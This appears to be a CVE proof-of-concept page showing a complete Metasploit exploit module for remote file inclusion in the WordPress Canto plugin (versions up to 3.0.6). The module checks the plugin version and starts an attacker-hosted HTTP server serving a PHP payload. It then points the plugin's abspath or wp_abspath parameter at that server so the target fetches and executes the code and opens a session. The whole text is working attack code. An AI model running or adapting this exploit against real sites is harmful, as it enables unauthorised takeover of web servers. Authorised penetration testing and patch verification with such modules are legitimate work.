5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / wp_canto_rfi_rce.rb RB
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer::PHPInclude

  Rank = GreatRanking

  HttpFingerprint = {
    pattern: [
      /wp-admin|wp-includes|wp-content|wordpress/i
    ]
  }
  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'WordPress Canto Plugin abspath/wp_abspath File Include RCE',
        'Description' => %q{
          This module exploits an input validation vulnerability in the Canto
          WordPress plugin where user controlled parameters (`abspath` and
          `wp_abspath`) are passed to `include_once` or `require_once` without
          proper sanitization. This allows remote file inclusion and remote
          code execution when PHP is configured with allow_url_include enabled.

          Requirements:
          - Canto plugin version <= 3.0.6
          - PHP with `allow_url_include` enabled

          The vulnerable files are located in `canto/includes/lib/`.

          Affected files include:
          - tree.php (wp_abspath)
          - get.php (wp_abspath)
          - download.php (wp_abspath)
          - detail.php (wp_abspath)
          - sizes.php (abspath)
          - copy-media.php (abspath)
        },
        'License' => MSF_LICENSE,
        'Author' => [ 'puppetm4ster' ],
        'References' => [
          ['CVE', '2023-3452'],
          ['CVE', '2024-25096'],
          [ 'URL', 'https://www.rapid7.com/db/vulnerabilities/canto-plugin-cve-2024-25096/' ]
        ],
        'Platform' => ['php'],
        'Arch' => ARCH_PHP,
        'Targets' => [
          [
            'WordPress Plugin <= 3.0.6',
            {
              'Platform' => 'php',
              'Arch' => ARCH_PHP
            }
          ]
        ],
        'Payload' => {
          'BadChars' => "\x00"
        },
        'Privileged' => false,
        'DisclosureDate' => '2023-08-09',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
        }
      )

    )
    register_options(
      [
        OptString.new('TARGETURI', [true, 'Path to cantos root directory', '/wp-content/plugins/canto']),
        OptInt.new('RPORT', [true, 'Port', 80]),
        OptBool.new('SSL', [true, 'Use SSL', false]),
        OptString.new('TARGETFILE', [true, 'Vulnerable PHP file', 'get.php']) # tree.php get.php download.php detail.php
      ]
    )
  end

  def check
    proto = datastore['SSL'] ? 'https://' : 'http://'
    check_ver = "#{datastore['TARGETURI']}/readme.txt"

    print_status("checking canto version number in: #{proto}#{rhost}:#{datastore['RPORT']}#{check_ver}")

    res_ver = send_request_cgi({  # canto version
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'readme.txt')
    })
    res_tar = send_request_cgi({  # confirmation of vulnerable file
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'includes', 'lib', datastore['TARGETFILE'])
    })
    if res_ver && res_ver.code == 200 # if http response is not empty

      version = res_ver.body[/Stable tag:\s*([\d.]+)/, 1] # grab version number
      return CheckCode::Detected('Version not found') unless version

      print_status("version is: #{version}")

      if Rex::Version.new(version) <= Rex::Version.new('3.0.6') # if canto version is vulnerable
        return CheckCode::Unknown unless res_tar

        if [404, 410].include?(res_tar.code)  # target file does not appear to be on the server
          return CheckCode::Safe("File not present (#{res_tar.code})")
        end

        if [200, 500].include?(res_tar.code)  # target file is probably reachable
          return CheckCode::Appears("Reachable (#{res_tar.code})")
        end

        return CheckCode::Detected("Server error but reachable (#{res_tar.code})")

      else
        return CheckCode::Safe
      end
    else
      print_status("#{rhost} cannot be reached")
      CheckCode::Unknown
    end
  end

  def exploit
    print_status('Starting HTTP server...')
    start_service
    param = case datastore['TARGETFILE']
            when 'tree.php', 'get.php', 'download.php', 'detail.php'
              'wp_abspath'
            else
              'abspath'
            end

    print_status('Triggering RFI...')
    method = datastore['TARGETFILE'] == 'copy-media.php' ? 'POST' : 'GET'

    send_request_cgi({
      'method' => method,
      'uri' => normalize_uri(target_uri.path, 'includes', 'lib', datastore['TARGETFILE']),
      method == 'POST' ? 'vars_post' : 'vars_get' => {
        param => get_uri
      }
    })
    # Rex.sleep(5)
    handler
  end

  def on_request_uri(cli, request)
    if request.uri =~ /admin\.php|image\.php/

      print_status('Sending admin.php payload')

      send_response(cli,
                    payload.encoded,
                    'Content-Type' => 'application/x-httpd-php')

    else
      send_not_found(cli)
    end
  end
end